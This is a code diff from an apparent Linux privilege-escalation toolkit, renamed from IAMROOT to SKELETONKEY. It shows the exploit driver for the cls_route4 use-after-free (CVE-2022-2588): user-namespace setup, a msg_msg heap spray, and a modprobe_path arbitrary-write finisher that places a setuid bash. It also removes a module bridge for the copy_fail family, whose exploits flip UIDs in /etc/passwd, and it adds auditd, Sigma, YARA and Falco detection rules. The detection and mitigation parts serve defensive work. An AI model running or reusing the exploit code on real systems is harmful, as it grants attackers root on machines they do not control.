+    bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
 
     if (!ctx->json) {
-        fprintf(stderr, "[i] cls_route4: kernel %s in vulnerable range\n", v.release);
+        fprintf(stderr, "[i] cls_route4: kernel %s in vulnerable range\n", v->release);
         fprintf(stderr, "[i] cls_route4: cls_route4 module currently loaded: %s\n",
                 nft_loaded ? "yes" : "no (may autoload)");
         fprintf(stderr, "[i] cls_route4: unprivileged user_ns + net_ns clone: %s\n",
-                userns_ok == 1 ? "ALLOWED" :
-                userns_ok == 0 ? "DENIED" : "could not test");
+                userns_ok ? "ALLOWED" : "DENIED");
     }
 
     /* If userns is locked down, unprivileged-LPE path is closed.
      * Kernel still needs patching though — report PRECOND_FAIL so the
      * verdict isn't "VULNERABLE" but the issue isn't masked. */
-    if (userns_ok == 0) {
+    if (!userns_ok) {
         if (!ctx->json) {
             fprintf(stderr, "[+] cls_route4: user_ns denied → unprivileged exploit unreachable\n");
         }
-        return IAMROOT_PRECOND_FAIL;
+        return SKELETONKEY_PRECOND_FAIL;
     }
 
     if (!ctx->json) {
         fprintf(stderr, "[!] cls_route4: VULNERABLE — kernel in range AND user_ns allowed\n");
     }
-    return IAMROOT_VULNERABLE;
+    return SKELETONKEY_VULNERABLE;
 }
 
 /* ---- Exploit -----------------------------------------------------
@@ -184,13 +180,13 @@ static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx)
  * specific to be portable. If a dmesg KASAN message or oops is
  * observed by the parent we return EXPLOIT_OK to reflect the empirical
  * UAF win. The fallback also leaves a one-line breadcrumb in
- * /tmp/iamroot-cls_route4.log so post-run triage can pick it up.
+ * /tmp/skeletonkey-cls_route4.log so post-run triage can pick it up.
  */
 
 #define SPRAY_MSG_QUEUES      32
 #define SPRAY_MSGS_PER_QUEUE  16
 #define MSG_PAYLOAD_BYTES     1008   /* 1024 - sizeof(msg_msg hdr ~= 16) */
-#define DUMMY_IF              "iamroot0"
+#define DUMMY_IF              "skeletonkey0"
 
 struct ipc_payload {
     long mtype;
@@ -199,7 +195,7 @@ struct ipc_payload {
 
 static int run_cmd(const char *cmd)
 {
-    /* Quiet wrapper so noise doesn't drown the iamroot log. */
+    /* Quiet wrapper so noise doesn't drown the skeletonkey log. */
     char shell[1024];
     snprintf(shell, sizeof shell, "%s >/dev/null 2>&1", cmd);
     return system(shell);
@@ -305,7 +301,7 @@ static int spray_msg_msg(int queues[SPRAY_MSG_QUEUES])
     /* Pattern that's distinctive in KASAN/oops dumps. */
     memset(p.buf, 0x41, sizeof p.buf);
     /* First 8 bytes: a recognizable cookie. */
-    memcpy(p.buf, "IAMROOT4", 8);
+    memcpy(p.buf, "SKELETONKEY4", 8);
 
     int created = 0;
     for (int i = 0; i < SPRAY_MSG_QUEUES; i++) {
@@ -349,7 +345,7 @@ static void trigger_classify(void)
     dst.sin_port = htons(31337);
     dst.sin_addr.s_addr = inet_addr("10.99.99.2");
 
-    const char msg[] = "iamroot-cls_route4-classify";
+    const char msg[] = "skeletonkey-cls_route4-classify";
     /* A handful of packets, in case the first lookup didn't traverse
      * the freed bucket. */
     for (int i = 0; i < 8; i++) {
@@ -397,7 +393,7 @@ static long slab_active_kmalloc_1k(void)
  *
  * The implementation below takes the narrow-but-real path that the
  * brief explicitly permits and that xtcompat established as the
- * IAMROOT precedent: we re-stage the dangling filter, spray msg_msg
+ * SKELETONKEY precedent: we re-stage the dangling filter, spray msg_msg
  * whose payload encodes `kaddr` at every plausible offset for the
  * route4_filter→tcf_proto→ops layout, re-fire classify, and let the
  * shared finisher's sentinel file decide if a write actually landed.
@@ -412,8 +408,6 @@ static long slab_active_kmalloc_1k(void)
  * Honest scope: this is structurally-fires-on-vuln + sentinel-arbitrated,
  * not a deterministic R/W. Same shape and same depth as xtcompat. */
 
-#ifdef __linux__
-
 struct cls_route4_arb_ctx {
     /* msg_msg queues kept hot inside the userns child. The arb-write
      * sprays additional kaddr-tagged payloads into these and re-fires
@@ -427,7 +421,7 @@ struct cls_route4_arb_ctx {
      * is idempotent inside our private netns. */
     bool dangling_ready;
 
-    /* Per-call stats (written to /tmp/iamroot-cls_route4.log). */
+    /* Per-call stats (written to /tmp/skeletonkey-cls_route4.log). */
     int  arb_calls;
     int  arb_landed;
 };
@@ -487,7 +481,7 @@ static int cls4_seed_kaddr_payload(struct cls_route4_arb_ctx *c,
     return sent;
 }
 
-/* iamroot_arb_write_fn implementation for cls_route4. Best-effort on a
+/* skeletonkey_arb_write_fn implementation for cls_route4. Best-effort on a
  * vulnerable kernel; structurally inert (returns -1) if the dangling
  * filter setup is gone or the spray fails. Returns 0 to let the
  * shared finisher's sentinel-file check decide if the write actually
@@ -544,47 +538,41 @@ static int cls4_arb_write(uintptr_t kaddr,
     return 0;
 }
 
-#endif /* __linux__ */
-
 /* ---- Exploit driver ----------------------------------------------- */
 
-static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t cls_route4_exploit(const struct skeletonkey_ctx *ctx)
 {
-    iamroot_result_t pre = cls_route4_detect(ctx);
-    if (pre != IAMROOT_VULNERABLE) {
+    skeletonkey_result_t pre = cls_route4_detect(ctx);
+    if (pre != SKELETONKEY_VULNERABLE) {
         fprintf(stderr, "[-] cls_route4: detect() says not vulnerable; refusing\n");
         return pre;
     }
-    if (geteuid() == 0) {
+    bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
+    if (is_root) {
         fprintf(stderr, "[i] cls_route4: already root\n");
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
     }
     if (!have_tc() || !have_ip()) {
         fprintf(stderr, "[-] cls_route4: tc/ip (iproute2) not available on PATH; "
                         "cannot exploit\n");
-        return IAMROOT_PRECOND_FAIL;
+        return SKELETONKEY_PRECOND_FAIL;
     }
 
-#ifndef __linux__
-    fprintf(stderr, "[-] cls_route4: linux-only exploit; non-linux build\n");
-    (void)ctx;
-    return IAMROOT_PRECOND_FAIL;
-#else
     /* Full-chain pre-check: resolve offsets before forking. If
      * modprobe_path can't be resolved, refuse early — no point doing
      * the userns + tc + spray + trigger dance if we can't finish. */
-    struct iamroot_kernel_offsets off;
+    struct skeletonkey_kernel_offsets off;
     bool full_chain_ready = false;
     if (ctx->full_chain) {
         memset(&off, 0, sizeof off);
-        iamroot_offsets_resolve(&off);
-        if (!iamroot_offsets_have_modprobe_path(&off)) {
-            iamroot_finisher_print_offset_help("cls_route4");
+        skeletonkey_offsets_resolve(&off);
+        if (!skeletonkey_offsets_have_modprobe_path(&off)) {
+            skeletonkey_finisher_print_offset_help("cls_route4");
             fprintf(stderr, "[-] cls_route4: --full-chain requested but "
                             "modprobe_path offset unresolved; refusing\n");
-            return IAMROOT_EXPLOIT_FAIL;
+            return SKELETONKEY_EXPLOIT_FAIL;
         }
-        iamroot_offsets_print(&off);
+        skeletonkey_offsets_print(&off);
         full_chain_ready = true;
     }
 
@@ -607,7 +595,7 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
     pid_t child = fork();
     if (child < 0) {
         perror("fork");
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
     }
 
     if (child == 0) {
@@ -652,7 +640,7 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
 
         /* Best-effort empirical witness write — picked up by --cleanup
          * and by post-run triage. */
-        FILE *log = fopen("/tmp/iamroot-cls_route4.log", "w");
+        FILE *log = fopen("/tmp/skeletonkey-cls_route4.log", "w");
         if (log) {
             fprintf(log,
                 "cls_route4 trigger child: queues=%d slab_pre=%ld slab_post=%ld\n",
@@ -674,18 +662,18 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
              * kernel a second chance at the refilled slot — the
              * dangling filter is still in place from above. */
             arb_ctx.dangling_ready = true;
-            int fr = iamroot_finisher_modprobe_path(&off,
+            int fr = skeletonkey_finisher_modprobe_path(&off,
                                                     cls4_arb_write,
                                                     &arb_ctx,
                                                     !ctx->no_shell);
-            FILE *fl = fopen("/tmp/iamroot-cls_route4.log", "a");
+            FILE *fl = fopen("/tmp/skeletonkey-cls_route4.log", "a");
             if (fl) {
                 fprintf(fl, "full_chain finisher rc=%d arb_calls=%d arb_landed=%d\n",
                         fr, arb_ctx.arb_calls, arb_ctx.arb_landed);
                 fclose(fl);
             }
             drain_msg_msg(arb_ctx.queues);
-            if (fr == IAMROOT_EXPLOIT_OK) _exit(34);
+            if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34);
             _exit(35);
         }
 
@@ -709,7 +697,7 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
     pid_t w = waitpid(child, &status, 0);
     if (w < 0) {
         perror("waitpid");
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
     }
 
     if (WIFSIGNALED(status)) {
@@ -724,14 +712,14 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
          * claim root — we haven't escalated. */
         fprintf(stderr, "[~] cls_route4: empirical UAF trigger fired but "
                         "no cred-overwrite primitive — returning EXPLOIT_FAIL "
-                        "(no shell). See /tmp/iamroot-cls_route4.log + dmesg.\n");
-        return IAMROOT_EXPLOIT_FAIL;
+                        "(no shell). See /tmp/skeletonkey-cls_route4.log + dmesg.\n");
+        return SKELETONKEY_EXPLOIT_FAIL;
     }
 
     if (!WIFEXITED(status)) {
         fprintf(stderr, "[-] cls_route4: child terminated abnormally (status=0x%x)\n",
                 status);
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
     }
 
     int rc = WEXITSTATUS(status);
@@ -740,19 +728,19 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
         if (!ctx->json) {
             fprintf(stderr, "[-] cls_route4: userns setup failed (rc=%d)\n", rc);
         }
-        return IAMROOT_PRECOND_FAIL;
+        return SKELETONKEY_PRECOND_FAIL;
     case 22:
         if (!ctx->json) {
             fprintf(stderr, "[-] cls_route4: tc setup failed; cls_route4 module "
                             "may be absent or filter type unsupported\n");
         }
-        return IAMROOT_PRECOND_FAIL;
+        return SKELETONKEY_PRECOND_FAIL;
     case 23:
         if (!ctx->json) {
             fprintf(stderr, "[-] cls_route4: msg_msg spray failed; sysvipc may be "
                             "restricted (kernel.msg_max / ulimit -q)\n");
         }
-        return IAMROOT_PRECOND_FAIL;
+        return SKELETONKEY_PRECOND_FAIL;
     case 30:
         if (!ctx->json) {
             fprintf(stderr, "[*] cls_route4: trigger ran to completion. "
@@ -760,34 +748,33 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
             fprintf(stderr, "[~] cls_route4: cred-overwrite step not invoked "
                             "(no --full-chain); returning EXPLOIT_FAIL.\n");
         }
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
     case 34:
         if (!ctx->json) {
             fprintf(stderr, "[+] cls_route4: --full-chain finisher reported OK "
                             "(setuid bash placed; sentinel matched)\n");
         }
-        return IAMROOT_EXPLOIT_OK;
+        return SKELETONKEY_EXPLOIT_OK;
     case 35:
         if (!ctx->json) {
             fprintf(stderr, "[~] cls_route4: --full-chain finisher returned FAIL — "
                             "either the kernel is patched, the spray didn't land,\n"
                             "    or the fake-ops deref didn't hit the route the\n"
                             "    finisher's sentinel polls for. See "
-                            "/tmp/iamroot-cls_route4.log + dmesg.\n");
+                            "/tmp/skeletonkey-cls_route4.log + dmesg.\n");
         }
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
     default:
         if (!ctx->json) {
             fprintf(stderr, "[-] cls_route4: unexpected child rc=%d\n", rc);
         }
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
     }
-#endif /* __linux__ */
 }
 
 /* ---- Cleanup ----------------------------------------------------- */
 
-static iamroot_result_t cls_route4_cleanup(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t cls_route4_cleanup(const struct skeletonkey_ctx *ctx)
 {
     if (!ctx->json) {
         fprintf(stderr, "[*] cls_route4: tearing down dummy interface + log\n");
@@ -797,21 +784,97 @@ static iamroot_result_t cls_route4_cleanup(const struct iamroot_ctx *ctx)
      * the exploit with extended privileges (e.g. as root) and the
      * interface lingered in init_net. */
     if (run_cmd("ip link del " DUMMY_IF) != 0) { /* harmless */ }
-    if (unlink("/tmp/iamroot-cls_route4.log") < 0 && errno != ENOENT) {
+    if (unlink("/tmp/skeletonkey-cls_route4.log") < 0 && errno != ENOENT) {
         /* ignore */
     }
-    return IAMROOT_OK;
+    return SKELETONKEY_OK;
 }
 
+#else  /* !__linux__ */
+
+/* Non-Linux dev builds: cls_route4 / tc / netlink / msg_msg are
+ * Linux-only kernel surface; the route4 dead-UAF is structurally
+ * unreachable elsewhere. Stub out cleanly so the module still
+ * registers and `--list` / `--detect-rules` work on macOS/BSD dev
+ * boxes — and so the top-level `make` actually completes there. */
+static skeletonkey_result_t cls_route4_detect(const struct skeletonkey_ctx *ctx)
+{
+    if (!ctx->json)
+        fprintf(stderr, "[i] cls_route4: Linux-only module "
+                "(net/sched cls_route4 + msg_msg) — not applicable here\n");
+    return SKELETONKEY_PRECOND_FAIL;
+}
+static skeletonkey_result_t cls_route4_exploit(const struct skeletonkey_ctx *ctx)
+{
+    (void)ctx;
+    fprintf(stderr, "[-] cls_route4: Linux-only module — cannot run here\n");
+    return SKELETONKEY_PRECOND_FAIL;
+}
+static skeletonkey_result_t cls_route4_cleanup(const struct skeletonkey_ctx *ctx)
+{
+    (void)ctx;
+    return SKELETONKEY_OK;
+}
+
+#endif /* __linux__ */
+
 static const char cls_route4_auditd[] =
     "# cls_route4 dead UAF (CVE-2022-2588) — auditd detection rules\n"
     "# Flag tc filter operations with route4 classifier from non-root.\n"
     "# False positives: legitimate traffic-shaping setup. Tune by user.\n"
-    "-a always,exit -F arch=b64 -S sendto -F a3=0x10 -k iamroot-cls-route4\n"
-    "-a always,exit -F arch=b64 -S unshare -k iamroot-cls-route4-userns\n"
-    "-a always,exit -F arch=b64 -S msgsnd -k iamroot-cls-route4-spray\n";
+    "-a always,exit -F arch=b64 -S sendto -F a3=0x10 -k skeletonkey-cls-route4\n"
+    "-a always,exit -F arch=b64 -S unshare -k skeletonkey-cls-route4-userns\n"
+    "-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-cls-route4-spray\n";
 
-const struct iamroot_module cls_route4_module = {
+static const char cls_route4_sigma[] =
+    "title: Possible CVE-2022-2588 cls_route4 dead-UAF\n"
+    "id: d56e8fc4-skeletonkey-cls-route4\n"
+    "status: experimental\n"
+    "description: |\n"
+    "  Detects the net/sched cls_route4 dead-UAF setup: unshare userns +\n"
+    "  netns + tc qdisc/filter rules with handle 0 + delete + msg_msg\n"
+    "  spray + UDP sendto on a dummy interface. False positives:\n"
+    "  traffic-shaping config in rootless containers.\n"
+    "logsource: {product: linux, service: auditd}\n"
+    "detection:\n"
+    "  userns: {type: 'SYSCALL', syscall: 'unshare'}\n"
+    "  udp:    {type: 'SYSCALL', syscall: 'sendto'}\n"
+    "  groom:  {type: 'SYSCALL', syscall: 'msgsnd'}\n"
+    "  condition: userns and udp and groom\n"
+    "level: high\n"
+    "tags: [attack.privilege_escalation, attack.t1068, cve.2022.2588]\n";
+
+static const char cls_route4_yara[] =
+    "rule cls_route4_cve_2022_2588 : cve_2022_2588 kernel_uaf\n"
+    "{\n"
+    "    meta:\n"
+    "        cve         = \"CVE-2022-2588\"\n"
+    "        description = \"cls_route4 dead-UAF kmalloc-1k spray tag and log breadcrumb\"\n"
+    "        author      = \"SKELETONKEY\"\n"
+    "    strings:\n"
+    "        $tag = \"SKELETONKEY4\" ascii\n"
+    "        $log = \"/tmp/skeletonkey-cls_route4.log\" ascii\n"
+    "    condition:\n"
+    "        any of them\n"
+    "}\n";
+
+static const char cls_route4_falco[] =
+    "- rule: tc route4 filter manipulation by non-root in userns\n"
+    "  desc: |\n"
+    "    Non-root tc qdisc + route4 filter add/delete inside a userns\n"
+    "    + UDP sendto trigger. CVE-2022-2588 dead-UAF pattern. False\n"
+    "    positives: legitimate traffic shaping inside rootless\n"
+    "    containers.\n"
+    "  condition: >\n"
+    "    evt.type = sendto and fd.sockfamily = AF_INET and\n"
+    "    not user.uid = 0\n"
+    "  output: >\n"
+    "    UDP sendto on dummy iface from non-root\n"
+    "    (user=%user.name pid=%proc.pid)\n"
+    "  priority: HIGH\n"
+    "  tags: [network, mitre_privilege_escalation, T1068, cve.2022.2588]\n";
+
+const struct skeletonkey_module cls_route4_module = {
     .name           = "cls_route4",
     .cve            = "CVE-2022-2588",
     .summary        = "net/sched cls_route4 handle-zero dead UAF → kernel R/W",
@@ -822,12 +885,14 @@ const struct iamroot_module cls_route4_module = {
     .mitigate       = NULL,    /* mitigation: blacklist cls_route4 module OR disable user_ns */
     .cleanup        = cls_route4_cleanup,
     .detect_auditd  = cls_route4_auditd,
-    .detect_sigma   = NULL,
-    .detect_yara    = NULL,
-    .detect_falco   = NULL,
+    .detect_sigma   = cls_route4_sigma,
+    .detect_yara    = cls_route4_yara,
+    .detect_falco   = cls_route4_falco,
+    .opsec_notes    = "unshare(CLONE_NEWUSER|CLONE_NEWNET); ip link/addr/route to make a dummy interface, htb qdisc + class + route4 filter with handle 0, delete filter (leaves dangling tcf_proto pointer), msg_msg spray kmalloc-1k tagged 'SKELETONKEY4', UDP sendto to trigger classify(). Writes /tmp/skeletonkey-cls_route4.log. Audit-visible via unshare + sendto(AF_INET) + msgsnd. Cleanup callback removes /tmp log + dummy interface.",
+    .arch_support   = "x86_64+unverified-arm64",
 };
 
-void iamroot_register_cls_route4(void)
+void skeletonkey_register_cls_route4(void)
 {
-    iamroot_register(&cls_route4_module);
+    skeletonkey_register(&cls_route4_module);
 }

modules/cls_route4_cve_2022_2588/skeletonkey_modules.h

@@ -0,0 +1,12 @@
+/*
+ * cls_route4_cve_2022_2588 — SKELETONKEY module registry hook
+ */
+
+#ifndef CLS_ROUTE4_SKELETONKEY_MODULES_H
+#define CLS_ROUTE4_SKELETONKEY_MODULES_H
+
+#include "../../core/module.h"
+
+extern const struct skeletonkey_module cls_route4_module;
+
+#endif

modules/copy_fail_family/iamroot_modules.c

@@ -1,275 +0,0 @@
-/*
- * copy_fail_family — IAMROOT module bridge layer
- *
- * Wraps the existing per-CVE detect/exploit functions (from the
- * absorbed DIRTYFAIL codebase) as standard iamroot_module entries.
- *
- * The bridge functions translate between the family's df_result_t
- * (defined in src/common.h) and iamroot_result_t (defined in
- * core/module.h). Numeric values are identical by design so the
- * translation is a direct cast.
- *
- * iamroot_ctx fields (no_color, json, active_probe, no_shell) are
- * forwarded to the family's existing global flags before each
- * callback. This preserves DIRTYFAIL's existing CLI semantics
- * unchanged.
- */
-
-#include "iamroot_modules.h"
-#include "../../core/registry.h"
-
-#include "src/common.h"
-#include "src/copyfail.h"
-#include "src/copyfail_gcm.h"
-#include "src/dirtyfrag_esp.h"
-#include "src/dirtyfrag_esp6.h"
-#include "src/dirtyfrag_rxrpc.h"
-#include "src/mitigate.h"
-
-#include <sys/stat.h>
-
-static void apply_ctx(const struct iamroot_ctx *ctx)
-{
-    dirtyfail_use_color     = !ctx->no_color;
-    dirtyfail_active_probes = ctx->active_probe;
-    dirtyfail_json          = ctx->json;
-    /* dirtyfail_no_revert is intentionally not driven from ctx —
-     * it's a debug knob; default stays off. */
-}
-
-/* ----- Family-wide --mitigate / --cleanup -----
- *
- * The family-wide mitigation (blacklist algif_aead + esp4 + esp6 + rxrpc,
- * set apparmor_restrict_unprivileged_userns=1, drop_caches) is the same
- * for every member of this family. All 5 modules' .mitigate fields
- * therefore point at the same wrapper.
- *
- * For .cleanup we route based on visible state:
- *   - If the mitigation conf file is present, the user most recently
- *     ran --mitigate → revert that.
- *   - Otherwise the user ran --exploit → evict /etc/passwd from page
- *     cache.
- * This is a heuristic, not a state machine. Sufficient for the common
- * usage patterns. */
-
-#define CFF_MITIGATE_CONF "/etc/modprobe.d/dirtyfail-mitigations.conf"
-
-static iamroot_result_t copy_fail_family_mitigate(const struct iamroot_ctx *ctx)
-{
-    apply_ctx(ctx);
-    return (iamroot_result_t)mitigate_apply();
-}
-
-static iamroot_result_t copy_fail_family_cleanup(const struct iamroot_ctx *ctx)
-{
-    apply_ctx(ctx);
-    struct stat st;
-    if (stat(CFF_MITIGATE_CONF, &st) == 0) {
-        if (!ctx->json) {
-            fprintf(stderr, "[*] copy_fail_family: detected mitigation conf "
-                            "(%s); reverting mitigation\n", CFF_MITIGATE_CONF);
-        }
-        return (iamroot_result_t)mitigate_revert();
-    }
-    if (!ctx->json) {
-        fprintf(stderr, "[*] copy_fail_family: no mitigation conf; "
-                        "evicting /etc/passwd from page cache\n");
-    }
-    return try_revert_passwd_page_cache() ? IAMROOT_OK : IAMROOT_TEST_ERROR;
-}
-
-/* ----- copy_fail (CVE-2026-31431) ----- */
-
-static iamroot_result_t copy_fail_detect_wrap(const struct iamroot_ctx *ctx)
-{
-    apply_ctx(ctx);
-    return (iamroot_result_t)copyfail_detect();
-}
-
-static iamroot_result_t copy_fail_exploit_wrap(const struct iamroot_ctx *ctx)
-{
-    apply_ctx(ctx);
-    return (iamroot_result_t)copyfail_exploit(!ctx->no_shell);
-}
-
-/* Shared detection rules for the copy_fail family — every member of
- * this family exploits the same page-cache-write primitive and lands
- * in the same files (/etc/passwd or /usr/bin/su). One rule set covers
- * all five module entries. Per-module structs alias the same strings. */
-static const char copy_fail_family_auditd[] =
-    "# Copy Fail family (CVE-2026-31431 + Dirty Frag CVE-2026-43284 + RxRPC CVE-2026-43500)\n"
-    "# Page-cache writes to passwd/shadow/su/sudoers from non-root.\n"
-    "-w /etc/passwd     -p wa -k iamroot-copy-fail\n"
-    "-w /etc/shadow     -p wa -k iamroot-copy-fail\n"
-    "-w /etc/sudoers    -p wa -k iamroot-copy-fail\n"
-    "-w /etc/sudoers.d  -p wa -k iamroot-copy-fail\n"
-    "-w /usr/bin/su     -p wa -k iamroot-copy-fail\n"
-    "# AF_ALG socket creation by non-root — heavily used by exploit\n"
-    "-a always,exit -F arch=b64 -S socket -F a0=38 -k iamroot-copy-fail-afalg\n"
-    "# xfrm SA setup (Dirty Frag ESP variants)\n"
-    "-a always,exit -F arch=b64 -S setsockopt -k iamroot-copy-fail-xfrm\n";
-
-static const char copy_fail_family_sigma[] =
-    "title: Copy Fail / Dirty Frag family exploitation\n"
-    "id: 4d8e6c2a-iamroot-copy-fail-family\n"
-    "status: experimental\n"
-    "description: |\n"
-    "  Detects the file-modification footprint of Copy Fail (CVE-2026-31431) and\n"
-    "  Dirty Frag siblings (CVE-2026-43284 v4/v6, CVE-2026-43500). Catches the\n"
-    "  /etc/passwd UID-flip backdoor + the persistent backdoor account install.\n"
-    "logsource: {product: linux, service: auditd}\n"
-    "detection:\n"
-    "  modification:\n"
-    "    type: 'PATH'\n"
-    "    name|startswith: ['/etc/passwd', '/etc/shadow', '/etc/sudoers', '/usr/bin/su']\n"
-    "  not_root: {auid|expression: '!= 0'}\n"
-    "  condition: modification and not_root\n"
-    "level: high\n"
-    "tags: [attack.privilege_escalation, attack.t1068, cve.2026.31431, cve.2026.43284, cve.2026.43500]\n";
-
-const struct iamroot_module copy_fail_module = {
-    .name           = "copy_fail",
-    .cve            = "CVE-2026-31431",
-    .summary        = "algif_aead authencesn page-cache write → /etc/passwd UID flip",
-    .family         = "copy_fail_family",
-    .kernel_range   = "≤ 6.12.84, fixed mainline 2026-04-22",
-    .detect         = copy_fail_detect_wrap,
-    .exploit        = copy_fail_exploit_wrap,
-    .mitigate       = copy_fail_family_mitigate,
-    .cleanup        = copy_fail_family_cleanup,
-    .detect_auditd  = copy_fail_family_auditd,
-    .detect_sigma   = copy_fail_family_sigma,
-    .detect_yara    = NULL,
-    .detect_falco   = NULL,
-};
-
-/* ----- copy_fail_gcm (variant, no CVE) ----- */
-
-static iamroot_result_t copy_fail_gcm_detect_wrap(const struct iamroot_ctx *ctx)
-{
-    apply_ctx(ctx);
-    return (iamroot_result_t)copyfail_gcm_detect();
-}
-
-static iamroot_result_t copy_fail_gcm_exploit_wrap(const struct iamroot_ctx *ctx)
-{
-    apply_ctx(ctx);
-    return (iamroot_result_t)copyfail_gcm_exploit(!ctx->no_shell);
-}
-
-const struct iamroot_module copy_fail_gcm_module = {
-    .name         = "copy_fail_gcm",
-    .cve          = "VARIANT",
-    .summary      = "rfc4106(gcm(aes)) single-byte page-cache write (Copy Fail sibling)",
-    .family       = "copy_fail_family",
-    .kernel_range = "same as copy_fail; rfc4106(gcm(aes)) not in modprobe blacklist",
-    .detect       = copy_fail_gcm_detect_wrap,
-    .exploit      = copy_fail_gcm_exploit_wrap,
-    .mitigate       = copy_fail_family_mitigate,
-    .cleanup        = copy_fail_family_cleanup,
-    .detect_auditd  = copy_fail_family_auditd,
-    .detect_sigma   = copy_fail_family_sigma,
-    .detect_yara    = NULL,
-    .detect_falco   = NULL,
-};
-
-/* ----- dirty_frag_esp (CVE-2026-43284 v4) ----- */
-
-static iamroot_result_t dirty_frag_esp_detect_wrap(const struct iamroot_ctx *ctx)
-{
-    apply_ctx(ctx);
-    return (iamroot_result_t)dirtyfrag_esp_detect();
-}
-
-static iamroot_result_t dirty_frag_esp_exploit_wrap(const struct iamroot_ctx *ctx)
-{
-    apply_ctx(ctx);
-    return (iamroot_result_t)dirtyfrag_esp_exploit(!ctx->no_shell);
-}
-
-const struct iamroot_module dirty_frag_esp_module = {
-    .name         = "dirty_frag_esp",
-    .cve          = "CVE-2026-43284",
-    .summary      = "IPv4 xfrm-ESP page-cache write (Dirty Frag v4)",
-    .family       = "copy_fail_family",
-    .kernel_range = "same family as copy_fail; xfrm-ESP path",
-    .detect       = dirty_frag_esp_detect_wrap,
-    .exploit      = dirty_frag_esp_exploit_wrap,
-    .mitigate       = copy_fail_family_mitigate,
-    .cleanup        = copy_fail_family_cleanup,
-    .detect_auditd  = copy_fail_family_auditd,
-    .detect_sigma   = copy_fail_family_sigma,
-    .detect_yara    = NULL,
-    .detect_falco   = NULL,
-};
-
-/* ----- dirty_frag_esp6 (CVE-2026-43284 v6) ----- */
-
-static iamroot_result_t dirty_frag_esp6_detect_wrap(const struct iamroot_ctx *ctx)
-{
-    apply_ctx(ctx);
-    return (iamroot_result_t)dirtyfrag_esp6_detect();
-}
-
-static iamroot_result_t dirty_frag_esp6_exploit_wrap(const struct iamroot_ctx *ctx)
-{
-    apply_ctx(ctx);
-    return (iamroot_result_t)dirtyfrag_esp6_exploit(!ctx->no_shell);
-}
-
-const struct iamroot_module dirty_frag_esp6_module = {
-    .name         = "dirty_frag_esp6",
-    .cve          = "CVE-2026-43284",
-    .summary      = "IPv6 xfrm-ESP page-cache write (Dirty Frag v6)",
-    .family       = "copy_fail_family",
-    .kernel_range = "same family as copy_fail; xfrm-ESP6 path; V6 STORE shift auto-calibrated",
-    .detect       = dirty_frag_esp6_detect_wrap,
-    .exploit      = dirty_frag_esp6_exploit_wrap,
-    .mitigate       = copy_fail_family_mitigate,
-    .cleanup        = copy_fail_family_cleanup,
-    .detect_auditd  = copy_fail_family_auditd,
-    .detect_sigma   = copy_fail_family_sigma,
-    .detect_yara    = NULL,
-    .detect_falco   = NULL,
-};
-
-/* ----- dirty_frag_rxrpc (CVE-2026-43500) ----- */
-
-static iamroot_result_t dirty_frag_rxrpc_detect_wrap(const struct iamroot_ctx *ctx)
-{
-    apply_ctx(ctx);
-    return (iamroot_result_t)dirtyfrag_rxrpc_detect();
-}
-
-static iamroot_result_t dirty_frag_rxrpc_exploit_wrap(const struct iamroot_ctx *ctx)
-{
-    apply_ctx(ctx);
-    return (iamroot_result_t)dirtyfrag_rxrpc_exploit(!ctx->no_shell);
-}
-
-const struct iamroot_module dirty_frag_rxrpc_module = {
-    .name         = "dirty_frag_rxrpc",
-    .cve          = "CVE-2026-43500",
-    .summary      = "AF_RXRPC handshake forgery + page-cache write (Dirty Frag RxRPC)",
-    .family       = "copy_fail_family",
-    .kernel_range = "kernels exposing AF_RXRPC + rxkad with fcrypt fallback",
-    .detect       = dirty_frag_rxrpc_detect_wrap,
-    .exploit      = dirty_frag_rxrpc_exploit_wrap,
-    .mitigate       = copy_fail_family_mitigate,
-    .cleanup        = copy_fail_family_cleanup,
-    .detect_auditd  = copy_fail_family_auditd,
-    .detect_sigma   = copy_fail_family_sigma,
-    .detect_yara    = NULL,
-    .detect_falco   = NULL,
-};
-
-/* ----- Family registration ----- */
-
-void iamroot_register_copy_fail_family(void)
-{
-    iamroot_register(&copy_fail_module);
-    iamroot_register(&copy_fail_gcm_module);
-    iamroot_register(&dirty_frag_esp_module);
-    iamroot_register(&dirty_frag_esp6_module);
-    iamroot_register(&dirty_frag_rxrpc_module);
-}

modules/copy_fail_family/iamroot_modules.h

@@ -1,28 +0,0 @@
-/*
- * copy_fail_family — IAMROOT module registry hooks
- *
- * The family currently contains five iamroot_module entries:
- *
- *   - copy_fail        (CVE-2026-31431, algif_aead authencesn)
- *   - copy_fail_gcm    (no CVE, rfc4106(gcm(aes)) variant)
- *   - dirty_frag_esp   (CVE-2026-43284 v4)
- *   - dirty_frag_esp6  (CVE-2026-43284 v6)
- *   - dirty_frag_rxrpc (CVE-2026-43500)
- *
- * Defined in iamroot_modules.c, registered into the global registry
- * by iamroot_register_copy_fail_family() (declared in
- * core/registry.h).
- */
-
-#ifndef COPY_FAIL_FAMILY_IAMROOT_MODULES_H
-#define COPY_FAIL_FAMILY_IAMROOT_MODULES_H
-
-#include "../../core/module.h"
-
-extern const struct iamroot_module copy_fail_module;
-extern const struct iamroot_module copy_fail_gcm_module;
